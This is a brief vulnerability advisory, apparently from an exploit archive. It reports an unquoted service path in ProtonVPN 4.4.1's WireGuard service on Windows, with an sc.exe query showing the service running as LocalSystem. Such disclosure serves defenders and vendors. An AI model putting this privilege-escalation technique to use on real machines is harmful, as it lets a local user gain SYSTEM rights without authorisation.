# Exploit Title: ProtonVPN v4.4.1 - Unquoted Service Path
# Date: 2026-06-22
# Exploit Author: Milad Karimi
# Contact: karimimilad1337@gmail.com
# Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL
# Vendor Homepage: https://protonvpn.com/
# Software Link: https://protonvpn.com/
# Version: 4.4.1
# Tested on: Windows 10 Pro x64
Description:
A successful attempt would require the local user to be able to insert
their code in the system root path undetected by the OS or other security
applications where it could potentially be executed during application
startup or reboot. If successful, the local user's code would execute with
the elevated privileges of the application.
Proof Of Concept:
PS C:\Users\Emre> sc.exe qc "ProtonVPN Wireguard"
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: ProtonVPN Wireguard
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\Proton
Technologies\ProtonVPN\ProtonVPN.WireGuardService.exe
C:\ProgramData\ProtonVPN\WireGuard\ProtonVPN.conf
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : ProtonVPN WireGuard
DEPENDENCIES : Nsi
: TcpIp
SERVICE_START_NAME : LocalSystem
